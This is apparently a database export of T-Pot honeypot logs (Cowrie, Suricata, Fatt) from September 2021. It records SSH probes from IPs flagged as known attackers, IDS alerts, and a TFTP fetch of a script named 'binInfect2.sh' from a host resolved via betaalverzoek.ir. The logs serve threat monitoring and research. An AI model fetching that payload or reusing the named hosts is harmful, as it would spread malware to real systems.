20191	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:50.833104+03	2021-09-20 14:15:02.076643+03	{"_id": "nwXgAnwBvYTbRNuEXvhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "eventid": "cowrie.session.closed", "message": "Connection lost after 31 seconds", "session": "71929d32c834", "@version": "1", "duration": 31.345739364624023, "timestamp": "2021-09-20T11:03:50.833104Z", "@timestamp": "2021-09-20T11:03:50.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20192	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:03.91772+03	2021-09-20 14:15:02.077643+03	{"_id": "gAXeAnwBvYTbRNuEv_Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4448, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1621654730637528, "@version": "1", "in_iface": "enp5s0", "src_port": 50920, "dest_port": 53, "timestamp": "2021-09-20T11:02:03.917720Z", "@timestamp": "2021-09-20T11:02:03.917Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20193	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:02:05.305233+03	2021-09-20 14:15:02.078643+03	{"_id": "lQXeAnwBvYTbRNuEw_Yi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {}}, "flow": {"start": "2021-09-20T11:01:58.828857+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 953, "bytes_toserver": 354}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1369769930827193, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56920, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:02:05.305233Z", "@timestamp": "2021-09-20T11:02:05.305Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20194	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:02:05.340118+03	2021-09-20 14:15:02.079642+03	{"_id": "mAXeAnwBvYTbRNuEw_Yj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {}}, "flow": {"start": "2021-09-20T11:01:29.041385+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 953, "bytes_toserver": 354}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1927441367540137, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48250, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:02:05.340118Z", "@timestamp": "2021-09-20T11:02:05.340Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20195	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:02:05.229421+03	2021-09-20 14:15:02.080642+03	{"_id": "mQXeAnwBvYTbRNuEw_Yl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:01:12.104900+0000", "pkts_toclient": 14, "pkts_toserver": 13, "bytes_toclient": 2347, "bytes_toserver": 2236}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1153477522266564, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60890, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:02:05.229421Z", "@timestamp": "2021-09-20T11:02:05.229Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20196	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:02:04.960988+03	2021-09-20 14:15:02.082642+03	{"_id": "mgXeAnwBvYTbRNuEw_bv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "1bdcf882e061", "@version": "1", "duration": 0.004379987716674805, "timestamp": "2021-09-20T11:02:04.960988Z", "@timestamp": "2021-09-20T11:02:04.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20197	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:02:04.961578+03	2021-09-20 14:15:02.083643+03	{"_id": "mwXeAnwBvYTbRNuEw_bv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "677d5671b64a", "@version": "1", "duration": 0.004124879837036133, "timestamp": "2021-09-20T11:02:04.961578Z", "@timestamp": "2021-09-20T11:02:04.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20198	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:04.959554+03	2021-09-20 14:15:02.084653+03	{"_id": "nAXeAnwBvYTbRNuEw_bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48250, "timestamp": "2021-09-20T11:02:04.959554", "@timestamp": "2021-09-20T11:02:04.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20204	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:38.872644+03	2021-09-20 14:15:02.092642+03	{"_id": "VwXeAnwBvYTbRNuEXfaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 64}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:38.872644Z", "@timestamp": "2021-09-20T11:01:38.872Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20199	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:04.960089+03	2021-09-20 14:15:02.086643+03	{"_id": "nQXeAnwBvYTbRNuEw_bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44466, "timestamp": "2021-09-20T11:02:04.960089", "@timestamp": "2021-09-20T11:02:04.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20200	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:04.960736+03	2021-09-20 14:15:02.087648+03	{"_id": "ngXeAnwBvYTbRNuEw_bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.63.158.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56920, "timestamp": "2021-09-20T11:02:04.960736", "@timestamp": "2021-09-20T11:02:04.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20201	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:02:04.960225+03	2021-09-20 14:15:02.088612+03	{"_id": "nwXeAnwBvYTbRNuEw_bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "d22b91cb4d10", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T11:02:04.960225Z", "@timestamp": "2021-09-20T11:02:04.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20202	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:02:04.962151+03	2021-09-20 14:15:02.089647+03	{"_id": "oAXeAnwBvYTbRNuEw_bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "d22b91cb4d10", "@version": "1", "duration": 0.003862619400024414, "timestamp": "2021-09-20T11:02:04.962151Z", "@timestamp": "2021-09-20T11:02:04.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20203	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:38.869462+03	2021-09-20 14:15:02.090645+03	{"_id": "VAXeAnwBvYTbRNuEXfaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 17629, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 575, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1335002169229390, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40402, "timestamp": "2021-09-20T11:01:38.869462Z", "@timestamp": "2021-09-20T11:01:38.869Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20205	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:43.88234+03	2021-09-20 14:15:02.093643+03	{"_id": "WgXeAnwBvYTbRNuEcfYP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64548, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 570, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 478482611531929, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60457, "timestamp": "2021-09-20T11:01:43.882340Z", "@timestamp": "2021-09-20T11:01:43.882Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20206	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:43.880793+03	2021-09-20 14:15:02.094643+03	{"_id": "XQXeAnwBvYTbRNuEcfYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64548, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 478482611531929, "@version": "1", "in_iface": "enp5s0", "src_port": 60457, "dest_port": 53, "timestamp": "2021-09-20T11:01:43.880793Z", "@timestamp": "2021-09-20T11:01:43.880Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20207	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:44.061507+03	2021-09-20 14:15:02.09564+03	{"_id": "XgXeAnwBvYTbRNuEcfYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 2, "pkts_toserver": 2, "bytes_toclient": 184, "bytes_toserver": 128}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1915411164713156, "payload": "RQAAMsDxQAAxEa85wKgUdG1olwuFMABFAB6ZvwABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:44.061507Z", "@timestamp": "2021-09-20T11:01:44.061Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2..@.1..9...tmh...0.E......binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20208	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:38.870658+03	2021-09-20 14:15:02.096643+03	{"_id": "UgXeAnwBvYTbRNuEXfaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42498, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 103650077853954, "@version": "1", "in_iface": "enp5s0", "src_port": 38991, "dest_port": 53, "timestamp": "2021-09-20T11:01:38.870658Z", "@timestamp": "2021-09-20T11:01:38.870Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20209	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:39.051512+03	2021-09-20 14:15:02.097645+03	{"_id": "UwXeAnwBvYTbRNuEXfaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 1, "pkts_toserver": 1, "bytes_toclient": 92, "bytes_toserver": 64}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1915411164713156, "payload": "RQAAMrz3QAAxEbMzwKgUdG1olwuFMABFAB6ZvwABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:39.051512Z", "@timestamp": "2021-09-20T11:01:39.051Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2..@.1..3...tmh...0.E......binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20216	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:38.86843+03	2021-09-20 14:15:02.106642+03	{"_id": "VgXeAnwBvYTbRNuEXfaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 17629, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1335002169229390, "@version": "1", "in_iface": "enp5s0", "src_port": 40402, "dest_port": 53, "timestamp": "2021-09-20T11:01:38.868430Z", "@timestamp": "2021-09-20T11:01:38.868Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
